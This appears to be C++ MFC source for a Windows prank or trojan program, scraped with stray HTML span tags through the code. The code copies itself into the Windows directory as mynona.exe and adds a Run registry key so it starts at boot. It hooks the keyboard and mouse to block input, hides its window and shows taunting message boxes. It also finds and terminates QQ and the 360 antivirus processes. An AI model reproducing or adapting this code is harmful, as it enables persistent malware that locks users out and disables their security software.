<span
</span><span
</span><span
#
include
</span><span
"</span><span stdafx.h</span><span "
</span><span
#
include
</span><span
"</span><span KeyBoardHookDialog.h</span><span "
</span><span
#
include
</span><span
"</span><span KeyBoardHookDialogDlg.h</span><span "
</span>
<span #define</span> REG_RUN
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
<span
#
include
</span><tlhelp32.h><span
#ifdef _DEBUG
</span><span #define</span>
new
DEBUG_NEW
<span #undef</span> THIS_FILE
<span
static
</span> <span char</span> THIS_FILE[] =<span
__FILE__
;
</span><span #
endif
</span>
<span
<span
<span
</span><span
<span HHOOK g_hMouse;
HHOOK g_hKeyboard;
</span><span bool</span> isTrue = <span false</span><span ;
HWND hWnd; </span><span
</span><span
<span LRESULT CALLBACK MouseProc(
</span><span int</span> nCode, <span
WPARAM wParam, <span
LPARAM lParam <span
<span )
{
</span><span
return
</span> <span 1</span><span ;
}
LRESULT CALLBACK KeyboardProc(
</span><span int</span> code, <span
WPARAM wParam, <span
LPARAM lParam <span
<span )
{
</span><span
<span
</span>
<span
<span
if
</span>(VK_F2 ==<span wParam)
{
</span><span
::SendMessage(hWnd,WM_CLOSE,<span 0</span>,<span 0</span><span );
</span><span
<span UnhookWindowsHookEx(g_hMouse);
UnhookWindowsHookEx(g_hKeyboard);
}
</span><span
return
</span> <span 1</span><span ;
}
</span><span
class
</span> CAboutDlg : <span
public
</span><span CDialog
{
</span><span
public
</span><span :
CAboutDlg();
</span><span
</span><span
<span enum</span> { IDD =<span IDD_ABOUTBOX };
</span><span
</span><span
</span><span
<span
protected
</span><span :
</span><span virtual</span> <span void</span> DoDataExchange(CDataExchange* pDX); <span
</span><span
</span><span
<span
protected
</span><span :
</span><span
</span><span
<span DECLARE_MESSAGE_MAP()
};
CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
{
</span><span
</span><span
<span }
</span><span void</span> CAboutDlg::DoDataExchange(CDataExchange*<span pDX)
{
CDialog::DoDataExchange(pDX);
</span><span
</span><span
<span }
BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
</span><span
</span><span
</span><span
<span END_MESSAGE_MAP()
</span><span
<span
<span
CKeyBoardHookDialogDlg::CKeyBoardHookDialogDlg(CWnd</span>* pParent <span
</span><span )
: CDialog(CKeyBoardHookDialogDlg::IDD, pParent)
{
</span><span
</span><span
</span><span
</span><span
m_hIcon = AfxGetApp()-><span LoadIcon(IDR_MAINFRAME);
}
</span><span void</span> CKeyBoardHookDialogDlg::DoDataExchange(CDataExchange*<span pDX)
{
CDialog::DoDataExchange(pDX);
</span><span
</span><span
</span><span
<span }
BEGIN_MESSAGE_MAP(CKeyBoardHookDialogDlg, CDialog)
</span><span
<span ON_WM_SYSCOMMAND()
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_BN_CLICKED(IDC_BTN_HOOKON, OnBtnHookon)
ON_WM_TIMER()
</span><span
<span END_MESSAGE_MAP()
</span><span
<span
<span
BOOL CKeyBoardHookDialogDlg::OnInitDialog()
{
CDialog::OnInitDialog();
</span><span
</span><span
ASSERT((IDM_ABOUTBOX & <span 0xFFF0</span>) ==<span IDM_ABOUTBOX);
ASSERT(IDM_ABOUTBOX </span>< <span 0xF000</span><span );
CMenu</span>* pSysMenu =<span GetSystemMenu(FALSE);
</span><span
if
</span> (pSysMenu !=<span NULL)
{
CString strAboutMenu;
strAboutMenu.LoadString(IDS_ABOUTBOX);
</span><span
if
</span> (!<span strAboutMenu.IsEmpty())
{
pSysMenu</span>-><span AppendMenu(MF_SEPARATOR);
pSysMenu</span>-><span AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
}
}
</span><span
</span><span
SetIcon(m_hIcon, TRUE); <span
SetIcon(m_hIcon, FALSE); <span
</span><span
<span
CopySelf();
autoRun();</span><span
</span><span
</span><span
g_hMouse =<span SetWindowsHookEx(WH_MOUSE,MouseProc,NULL,GetCurrentThreadId());
g_hKeyboard </span>=<span SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,NULL,GetCurrentThreadId());
</span><span
hWnd =<span m_hWnd;
SetTimer(</span><span 1</span>, <span 2000</span><span , NULL);
isTrue </span>= <span true</span><span ;
</span><span
return
</span> TRUE; <span
<span }
</span><span void</span><span CKeyBoardHookDialogDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
</span><span
if
</span> ((nID & <span 0xFFF0</span>) ==<span IDM_ABOUTBOX)
{
CAboutDlg dlgAbout;
dlgAbout.DoModal();
}
</span><span
else
</span><span
{
CDialog::OnSysCommand(nID, lParam);
}
}
</span><span
</span><span
</span><span
<span void</span><span CKeyBoardHookDialogDlg::OnPaint()
{
</span><span
if
</span><span (IsIconic())
{
CPaintDC dc(</span><span this</span>); <span
<span
SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), </span><span 0</span><span );
</span><span
<span int</span> cxIcon =<span GetSystemMetrics(SM_CXICON);
</span><span int</span> cyIcon =<span GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(</span>&<span rect);
</span><span int</span> x = (rect.Width() - cxIcon + <span 1</span>) / <span 2</span><span ;
</span><span int</span> y = (rect.Height() - cyIcon + <span 1</span>) / <span 2</span><span ;
</span><span
<span dc.DrawIcon(x, y, m_hIcon);
}
</span><span
else
</span><span
{
CDialog::OnPaint();
}
}
</span><span
</span><span
<span HCURSOR CKeyBoardHookDialogDlg::OnQueryDragIcon()
{
</span><span
return
</span><span (HCURSOR) m_hIcon;
}
</span><span void</span><span CKeyBoardHookDialogDlg::OnBtnHookon()
{
</span><span
<span
}
</span><span
</span><span
</span><span
</span><span
</span><span
</span><span
<span void</span><span CKeyBoardHookDialogDlg::hide()
{
ShowWindow(SW_HIDE);
}
</span><span void</span><span CKeyBoardHookDialogDlg::autoRun()
{
HKEY hKey </span>=<span NULL;
LONG lRet </span>= RegOpenKey(HKEY_LOCAL_MACHINE,REG_RUN,&<span hKey);
</span><span
if
</span>(lRet !=<span ERROR_SUCCESS)
{
</span><span
return
</span><span ;
}
RegSetValueEx(hKey,</span><span
"</span><span mynona</span><span "
</span>,NULL,REG_SZ,(<span
const
</span> unsigned <span char</span> *)&<span szWindowsPath,
strlen
(szWindowsPath) </span>+<span sizeof</span>(<span char</span><span ));
RegCloseKey(hKey);
}
</span><span void</span><span CKeyBoardHookDialogDlg::ShowProcess()
{
HANDLE hSnap </span>=<span CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
</span><span
<span
PROCESSENTRY32 Pe32 </span>= {<span 0</span><span };
Pe32.dwSize </span>= <span sizeof</span><span (PROCESSENTRY32);
</span><span int</span> bRet = Process32First(hSnap,&<span Pe32);
</span><span
<span char</span> name[MAX_PATH] = <span
"</span><span QQ.exe</span><span "
</span><span ;
</span><span char</span> name2[MAX_PATH] = <span
"</span><span 360tray.exe</span><span "
</span><span ;
</span><span char</span> name3[MAX_PATH] = <span
"</span><span 360rp.exe</span><span "
</span><span ;
</span><span
while
</span><span (bRet)
{
</span><span
bRet = Process32Next(hSnap,&<span Pe32);
</span><span
<span int</span> flag = <span 0</span><span ;
</span><span
if
</span>(
strcmp
(Pe32.szExeFile,name) == <span 0</span> ||
strcmp
(Pe32.szExeFile,name3) == <span 0</span> ||
strcmp
(Pe32.szExeFile,name2) ==<span 0</span><span )
flag </span>= <span 1</span><span ;
</span><span
if
</span><span (flag){
</span><span
<span MessageBox(Pe32.szExeFile);
HANDLE hProcess </span>=<span OpenProcess(PROCESS_TERMINATE,FALSE,Pe32.th32ProcessID);
LPDWORD lpExitCode </span>= <span 0</span><span ;
GetExitCodeProcess(hProcess, lpExitCode);
TerminateProcess(hProcess, (UINT)lpExitCode);
}
}
}
</span><span void</span><span CKeyBoardHookDialogDlg::CopySelf()
{
</span><span char</span> szSelfName[MAX_PATH] = {<span 0</span><span };
</span><span
<span char</span> szTmpPath[MAX_PATH] = {<span 0</span><span };
</span><span
<span GetModuleFileName(NULL,szSelfName,MAX_PATH);
</span><span
</span><span
<span GetWindowsDirectory(szWindowsPath,MAX_PATH);
</span><span
</span><span
</span><span
</span><span
<span
strcat(szWindowsPath,</span><span
"</span><span \\mynona.exe</span><span "
</span><span );
</span><span
<span
MessageBox( szWindowsPath,</span><span
"</span><span : szWindowsPath</span><span "
</span><span );
</span><span
<span int</span> isTrue = CopyFile(szSelfName,szWindowsPath,FALSE);<span
</span><span
<span
}
</span><span void</span><span CKeyBoardHookDialogDlg::OnTimer(UINT nIDEvent)
{
</span><span
<span
if
</span><span (isTrue){
ShowWindow(SW_HIDE);
}
MessageBox(</span><span
"</span><span haha</span><span "
</span>,<span
"</span><span 哈哈</span><span "
</span><span ,MB_ICONSTOP);
CDialog::OnTimer(nIDEvent);
}</span>